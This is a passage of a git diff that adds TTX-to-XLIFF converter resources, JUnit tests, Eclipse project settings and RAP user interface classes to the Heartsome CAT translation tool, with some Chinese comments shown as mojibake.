((endIdx = phContent.trim().indexOf(" ")) != -1) { + tagName = phContent.trim().substring(startIdx + 4, endIdx); + }else { + //针对没有空格的如<field/> + tagName = phContent.trim().substring(startIdx + 4, phContent.trim().indexOf("/")); + } + } +// System.out.println("tagName = '" + tagName + "'"); + } +// System.out.println( "tagName = " + tagName); + replaceText = "" + phContent + ""; + + } + content = content.replace(phFrag, replaceText); +// System.out.println(content); + } + } catch (Exception e) { + e.printStackTrace(); + } + index = content.indexOf("")) + ">"; + newTagStr = "" + cleanString(newTagStr) + ""; +// System.out.println("newTagStr = " + newTagStr); + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/Messages.java new file mode 100644 index 0000000..f647538 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ttx.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.ttx.resource.ttx"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx.properties b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx.properties new file mode 100644 index 0000000..cf828f6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx.properties @@ -0,0 +1,14 @@ +ttx.Ttx2Xliff.msg1 = TTX \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +ttx.Ttx2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +ttx.Ttx2Xliff.task2 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... + +ttx.Xliff2Ttx.task1 = \u6b63\u5728\u8f6c\u6362... +ttx.Xliff2Ttx.task2 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +ttx.Xliff2Ttx.msg1 = XLIFF \u8f6c\u6362 TTX \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +ttx.TYPE_NAME_VALUE = SDL TRADOStag \u53cc\u8bed\u6587\u4ef6 (TTX) +ttx.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +ttx.cancel = \u9000\u51fa\u8f6c\u6362 + +ttx.Ttx2Xliff.warn = TTX \u6587\u4EF6 {0} \u4E2D\u542B\u6709\u672A\u7FFB\u8BD1\u7684\u6587\u672C\u6BB5\uFF0C\u8BF7\u5148\u4F7F\u7528 Trados \u5C06\u5176\u9884\u7FFB\u8BD1\uFF0C\u5426\u5219\u8F6C\u6362\u540E\u53EF\u80FD\u4E22\u5931\u8FD9\u4E9B\u6587\u672C\u6BB5\u3002 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx_en.properties b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx_en.properties new file mode 100644 index 0000000..28c75e2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx_en.properties @@ -0,0 +1,14 @@ +ttx.Ttx2Xliff.msg1 = Failed to convert TTX to XLIFF. Please try again. +ttx.Ttx2Xliff.task1 = Converting... +ttx.Ttx2Xliff.task2 = Processing List of content... + +ttx.Xliff2Ttx.task1 = Converting... +ttx.Xliff2Ttx.task2 = Replacing segment identifiers in the skeleton file.... +ttx.Xliff2Ttx.msg1 = Failed to convert XLIFF to TTX. Please try again. + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +ttx.TYPE_NAME_VALUE = SDL TRADOStag bilingual file (TTX) +ttx.parse.msg1 = Failed to parsing the file {0}. Please try again. +ttx.cancel = Exit conversion + +ttx.Ttx2Xliff.warn = The TTX file {0} contains unsegmented sentences. Please segment the file during pre-translation by Trados Workbench, otherwise these segments will not be recognized by Heartsome \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx_zh.properties b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx_zh.properties new file mode 100644 index 0000000..cf828f6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/resource/ttx_zh.properties @@ -0,0 +1,14 @@ +ttx.Ttx2Xliff.msg1 = TTX \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +ttx.Ttx2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +ttx.Ttx2Xliff.task2 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... + +ttx.Xliff2Ttx.task1 = \u6b63\u5728\u8f6c\u6362... +ttx.Xliff2Ttx.task2 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +ttx.Xliff2Ttx.msg1 = XLIFF \u8f6c\u6362 TTX \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +ttx.TYPE_NAME_VALUE = SDL TRADOStag \u53cc\u8bed\u6587\u4ef6 (TTX) +ttx.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +ttx.cancel = \u9000\u51fa\u8f6c\u6362 + +ttx.Ttx2Xliff.warn = TTX \u6587\u4EF6 {0} \u4E2D\u542B\u6709\u672A\u7FFB\u8BD1\u7684\u6587\u672C\u6BB5\uFF0C\u8BF7\u5148\u4F7F\u7528 Trados \u5C06\u5176\u9884\u7FFB\u8BD1\uFF0C\u5426\u5219\u8F6C\u6362\u540E\u53EF\u80FD\u4E22\u5931\u8FD9\u4E9B\u6587\u672C\u6BB5\u3002 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ttx/testSrc/net/heartsome/cat/converter/ttx/test/Ttx2XliffTest.java b/hsconverter/net.heartsome.cat.converter.ttx/testSrc/net/heartsome/cat/converter/ttx/test/Ttx2XliffTest.java new file mode 100644 index 0000000..2828ad1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/testSrc/net/heartsome/cat/converter/ttx/test/Ttx2XliffTest.java @@ -0,0 +1,105 @@ +package net.heartsome.cat.converter.ttx.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.ttx.Ttx2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + + +public class Ttx2XliffTest { + public static Ttx2Xliff converter = new Ttx2Xliff(); + private static String srcFile = "rc/Test.ttx"; + private static String sklFile = "rc/Test.ttx.skl"; + private static String xlfFile = "rc/Test.ttx.xlf"; + + @Before + public void setUp(){ + File skl = new File(sklFile); + if(skl.exists()){ + skl.delete(); + } + + File xlf = new File(xlfFile); + if(xlf.exists()){ + xlf.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-16LE"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-16LE"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); +// args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-16LE"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/testSrc/net/heartsome/cat/converter/ttx/test/Xliff2TtxTest.java b/hsconverter/net.heartsome.cat.converter.ttx/testSrc/net/heartsome/cat/converter/ttx/test/Xliff2TtxTest.java new file mode 100644 index 0000000..1dc3047 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/testSrc/net/heartsome/cat/converter/ttx/test/Xliff2TtxTest.java @@ -0,0 +1,51 @@ +package net.heartsome.cat.converter.ttx.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.ttx.Xliff2Ttx; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2TtxTest { + public static Xliff2Ttx converter = new Xliff2Ttx(); + private static String tgtFile = "rc/Test_en-US.ttx"; + private static String xlfFile = "rc/Test.ttx.xlf"; + private static String sklFile = "rc/Test.ttx.skl"; + + @Before + public void setUp() { + File tgt = new File(tgtFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); + args.put(Converter.ATTR_SKELETON_FILE, sklFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-16LE"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/.classpath b/hsconverter/net.heartsome.cat.converter.ui.application/.classpath new file mode 100644 index 0000000..ad32c83 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/.gitignore b/hsconverter/net.heartsome.cat.converter.ui.application/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/.project b/hsconverter/net.heartsome.cat.converter.ui.application/.project new file mode 100644 index 0000000..c1a8fad --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.ui.application + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.ui.application/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..b19d8eb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Mon Mar 29 18:00:50 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.ui.application/META-INF/MANIFEST.MF new file mode 100644 index 0000000..156b0aa --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/META-INF/MANIFEST.MF @@ -0,0 +1,12 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Application +Bundle-SymbolicName: net.heartsome.cat.converter.ui.application; singleton:=true +Bundle-Version: 1.0.0.qualifier +Bundle-Activator: net.heartsome.cat.converter.ui.application.Activator +Require-Bundle: org.eclipse.rap.ui, + net.heartsome.cat.converter.ui;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Import-Package: javax.servlet;version="2.4.0", + javax.servlet.http;version="2.4.0" diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/build.properties b/hsconverter/net.heartsome.cat.converter.ui.application/build.properties new file mode 100644 index 0000000..2b0d95b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/build.properties @@ -0,0 +1,5 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/net.heartsome.cat.converter.ui.application.launch b/hsconverter/net.heartsome.cat.converter.ui.application/net.heartsome.cat.converter.ui.application.launch new file mode 100644 index 0000000..33dd6ee --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/net.heartsome.cat.converter.ui.application.launch @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/plugin.xml b/hsconverter/net.heartsome.cat.converter.ui.application/plugin.xml new file mode 100644 index 0000000..e757e24 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/plugin.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Activator.java b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Activator.java new file mode 100644 index 0000000..962640d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Activator.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.converter.ui.application; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + /** + * æ’件 ID + */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.ui.application"; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /** + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /** + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given plug-in relative path + * @param path + * the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Application.java b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Application.java new file mode 100644 index 0000000..859a89b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Application.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.converter.ui.application; + +import org.eclipse.rwt.lifecycle.IEntryPoint; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.application.WorkbenchAdvisor; + +/** + * This class controls all aspects of the application's execution and is contributed through the plugin.xml. + */ +public class Application implements IEntryPoint { + + @Override + public int createUI() { + Display display = PlatformUI.createDisplay(); + WorkbenchAdvisor advisor = new ApplicationWorkbenchAdvisor(); + return PlatformUI.createAndRunWorkbench(display, advisor); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationActionBarAdvisor.java b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationActionBarAdvisor.java new file mode 100644 index 0000000..68f8c47 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationActionBarAdvisor.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.converter.ui.application; + +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.ui.IWorkbenchActionConstants; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.ActionFactory.IWorkbenchAction; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; + +/** + * Creates, adds and disposes actions for the menus and action bars of each workbench window. + */ +public class ApplicationActionBarAdvisor extends ActionBarAdvisor { + + private IWorkbenchAction exitAction; + private IWorkbenchAction preferenceAction; + + /** + * 构造函数 + * @param configurer + */ + public ApplicationActionBarAdvisor(IActionBarConfigurer configurer) { + super(configurer); + } + + @Override + protected void makeActions(IWorkbenchWindow window) { + exitAction = ActionFactory.QUIT.create(window); + register(exitAction); + + preferenceAction = ActionFactory.PREFERENCES.create(window); + register(preferenceAction); + } + + @Override + protected void fillMenuBar(IMenuManager menuBar) { + MenuManager fileMenu = new MenuManager("&File", IWorkbenchActionConstants.M_FILE); + menuBar.add(fileMenu); + fileMenu.add(exitAction); + + MenuManager editMenu = new MenuManager("&Edit", IWorkbenchActionConstants.M_EDIT); + menuBar.add(editMenu); + editMenu.add(preferenceAction); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationWorkbenchAdvisor.java b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationWorkbenchAdvisor.java new file mode 100644 index 0000000..63b1b0f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationWorkbenchAdvisor.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.converter.ui.application; + +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchAdvisor; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; + +/** + * This workbench advisor creates the window advisor, and specifies the perspective id for the initial window. + */ +public class ApplicationWorkbenchAdvisor extends WorkbenchAdvisor { + + private static final String PERSPECTIVE_ID = "net.heartsome.cat.converter.ui.application.perspective"; + + @Override + public WorkbenchWindowAdvisor createWorkbenchWindowAdvisor(IWorkbenchWindowConfigurer configurer) { + return new ApplicationWorkbenchWindowAdvisor(configurer); + } + + @Override + public String getInitialWindowPerspectiveId() { + return PERSPECTIVE_ID; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationWorkbenchWindowAdvisor.java b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationWorkbenchWindowAdvisor.java new file mode 100644 index 0000000..5e365a6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/ApplicationWorkbenchWindowAdvisor.java @@ -0,0 +1,47 @@ +package net.heartsome.cat.converter.ui.application; + +import org.eclipse.swt.graphics.Point; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; + +/** + * Configures the initial size and appearance of a workbench window. + */ +public class ApplicationWorkbenchWindowAdvisor extends WorkbenchWindowAdvisor { + + /** + * 构造函数 + * @param configurer + */ + public ApplicationWorkbenchWindowAdvisor(IWorkbenchWindowConfigurer configurer) { + super(configurer); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.application.WorkbenchWindowAdvisor#createActionBarAdvisor(org.eclipse.ui.application.IActionBarConfigurer) + */ + public ActionBarAdvisor createActionBarAdvisor(IActionBarConfigurer configurer) { + return new ApplicationActionBarAdvisor(configurer); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.application.WorkbenchWindowAdvisor#preWindowOpen() + */ + public void preWindowOpen() { + IWorkbenchWindowConfigurer configurer = getWindowConfigurer(); + configurer.setInitialSize(new Point(400, 300)); + configurer.setShowCoolBar(false); + configurer.setShowStatusLine(false); + configurer.setTitle("RAP Converter Application"); + } + + @Override + public void postWindowOpen() { + super.postWindowOpen(); + getWindowConfigurer().getWindow().getShell().setMaximized(true); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Perspective.java b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Perspective.java new file mode 100644 index 0000000..ef82658 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.application/src/net/heartsome/cat/converter/ui/application/Perspective.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.converter.ui.application; + +import org.eclipse.ui.IPageLayout; +import org.eclipse.ui.IPerspectiveFactory; + +/** + * Configures the perspective layout. This class is contributed through the plugin.xml. + */ +public class Perspective implements IPerspectiveFactory { + + /** + * (non-Javadoc) + * @see org.eclipse.ui.IPerspectiveFactory#createInitialLayout(org.eclipse.ui.IPageLayout) + */ + public void createInitialLayout(IPageLayout layout) { + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/.classpath b/hsconverter/net.heartsome.cat.converter.ui.rap/.classpath new file mode 100644 index 0000000..ad32c83 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/.gitignore b/hsconverter/net.heartsome.cat.converter.ui.rap/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/.project b/hsconverter/net.heartsome.cat.converter.ui.rap/.project new file mode 100644 index 0000000..3691345 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.ui.rap + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.ui.rap/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..c8085e4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Mar 26 14:24:00 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.ui.rap/META-INF/MANIFEST.MF new file mode 100644 index 0000000..6ac141e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Rap +Bundle-SymbolicName: net.heartsome.cat.converter.ui.rap;singleton:=true +Bundle-Version: 1.0.0.qualifier +Fragment-Host: net.heartsome.cat.converter.ui;bundle-version="1.0.0" +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/build.properties b/hsconverter/net.heartsome.cat.converter.ui.rap/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacadeImpl.java b/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacadeImpl.java new file mode 100644 index 0000000..4fb449c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacadeImpl.java @@ -0,0 +1,34 @@ +package net.heartsome.cat.convert.ui.dialog; + +import org.eclipse.swt.widgets.Shell; + +/** + * RAP 环境中的文件对è¯æ¡†å·¥åŽ‚é—¨é¢å®žçŽ° + * @author cheney + * @since JDK1.6 + */ +public class FileDialogFactoryFacadeImpl extends FileDialogFactoryFacade { + + // 返回文件上传对è¯æ¡† + @Override + protected IConversionItemDialog createFileDialogInternal(Shell shell, int styled) { + return createFileUploadDialog(shell, styled); + } + + // 返回文件上传对è¯æ¡† + @Override + protected IConversionItemDialog createWorkspaceDialogInternal(Shell shell, int styled) { + return createFileUploadDialog(shell, styled); + } + + /** + * 创建文件上传对è¯æ¡†å®žä¾‹å¹¶è¿”回 + * @param shell + * @param styled + * @return ; + */ + private IConversionItemDialog createFileUploadDialog(Shell shell, int styled) { + return new FileUploadConversionItemDialog(shell); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/dialog/FileUploadConversionItemDialog.java b/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/dialog/FileUploadConversionItemDialog.java new file mode 100644 index 0000000..620af61 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/dialog/FileUploadConversionItemDialog.java @@ -0,0 +1,206 @@ +package 